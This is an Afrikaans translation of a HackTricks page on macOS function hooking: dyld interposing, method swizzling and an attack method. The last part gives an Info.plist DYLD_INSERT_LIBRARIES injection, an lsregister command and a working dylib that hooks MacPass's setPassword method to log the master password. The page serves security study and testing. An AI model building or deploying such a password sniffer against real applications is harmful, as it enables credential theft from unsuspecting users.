macOS Function Hooking

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Funksie Interposing

Skep 'n dylib met 'n __interpose (__DATA___interpose) afdeling (of 'n afdeling gemerk met S_INTERPOSING) wat tuples van funksieaanwysers bevat wat na die oorspronklike en die vervangings-funksies verwys.

Vervolgens, inspuit die dylib met DYLD_INSERT_LIBRARIES (die interposing moet plaasvind voordat die hoofprogram laai). Uiteraard geld die beperkings wat op die gebruik van DYLD_INSERT_LIBRARIES van toepassing is, ook hier.

Interpose printf

interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Die DYLD_PRINT_INTERPOSTING omgewingsveranderlike kan gebruik word om interposing te foutsoek en sal die interposeproses druk.

Merk ook op dat interposing plaasvind tussen die proses en die gelaai biblioteke, dit werk nie met die gedeelde biblioteekkas nie.

Dinamiese Interposing

Dit is nou ook moontlik om dinamies 'n funksie te interposeer deur die funksie dyld_dynamic_interpose te gebruik. Dit maak dit moontlik om programmaties 'n funksie in tyd lopend te interposeer in plaas daarvan om dit net van die begin af te doen.

Dit is net nodig om die tuples van die funksie om te vervang en die vervangings funksie aan te dui.

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Metodeswizzling

In ObjectiveC is dit hoe 'n metode geroep word: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

Dit is nodig die objek, die metode en die parameters. En wanneer 'n metode geroep word, word 'n boodskap gestuur deur die funksie objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

Die objek is someObject, die metode is @selector(method1p1:p2:) en die argumente is value1, value2.

Deur die objekstrukture te volg, is dit moontlik om 'n reeks metodes te bereik waar die name en pointers na die metode-kode geleë is.

Let daarop dat omdat metodes en klasse op grond van hul name benader word, hierdie inligting in die binêre lêer gestoor word, sodat dit moontlik is om dit te herwin met otool -ov </path/bin> of class-dump </path/bin>

Toegang tot die rou metodes

Dit is moontlik om die inligting van die metodes soos naam, aantal parameters of adres te bereik soos in die volgende voorbeeld:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Metodeswizzling met method_exchangeImplementations

Die funksie method_exchangeImplementations maak dit moontlik om die adres van die implementering van een funksie vir die ander te verander.

Dus wanneer 'n funksie geroep word, word die ander een uitgevoer.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

In hierdie geval, as die implementeringskode van die regmatige metode die metode naam verifieer, kan dit hierdie swizzling opspoor en voorkom dat dit uitgevoer word.

Die volgende tegniek het nie hierdie beperking nie.

Metode Swizzling met method_setImplementation

Die vorige formaat is vreemd omdat jy die implementering van 2 metodes van mekaar verander. Deur die funksie method_setImplementation te gebruik, kan jy die implementering van 'n metode vir die ander een verander.

Onthou net om die adres van die implementering van die oorspronklike een te stoor as jy dit van die nuwe implementering gaan oproep voordat jy dit oorskryf, omdat dit later baie moeilik sal wees om daardie adres te vind.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Hooking Aanval Metodologie

Op hierdie bladsy is verskillende maniere bespreek om funksies te hengel. Tog het hulle hardloop kode binne die proses om aan te val.

Om dit te doen, is die maklikste tegniek om te gebruik om 'n Dyld via omgewingsveranderlikes of kaping in te spuit. Ek vermoed egter dat dit ook gedoen kan word deur Dylib prosesinspuiting.

Nietemin is beide opsies beperk tot onbeskermde bineê/prosesse. Kyk na elke tegniek om meer oor die beperkings te leer.

Nietemin is 'n funksie hengel aanval baie spesifiek, 'n aanvaller sal dit doen om sensitiewe inligting binne 'n proses te steel (as jy nie sou net 'n prosesinspuitingsaanval doen nie). En hierdie sensitiewe inligting kan in gebruikers afgelaaide Programme soos MacPass wees.

Dus sal die aanvaller vektor wees om óf 'n kwesbaarheid te vind óf die handtekening van die aansoek te verwyder, die DYLD_INSERT_LIBRARIES omgewingsveranderlike in te spuit deur die Info.plist van die aansoek deur iets soos by te voeg:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

en registreer dan die aansoek weer:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

Voeg in daardie biblioteek die hakkode by om die inligting uit te sif: Wagwoorde, boodskappe...

Let daarop dat in nuwer weergawes van macOS as jy die handtekening van die aansoek binêre lêer verwyder en dit voorheen uitgevoer is, sal macOS die aansoek nie meer uitvoer nie.

Biblioteekvoorbeeld

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Verwysings

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated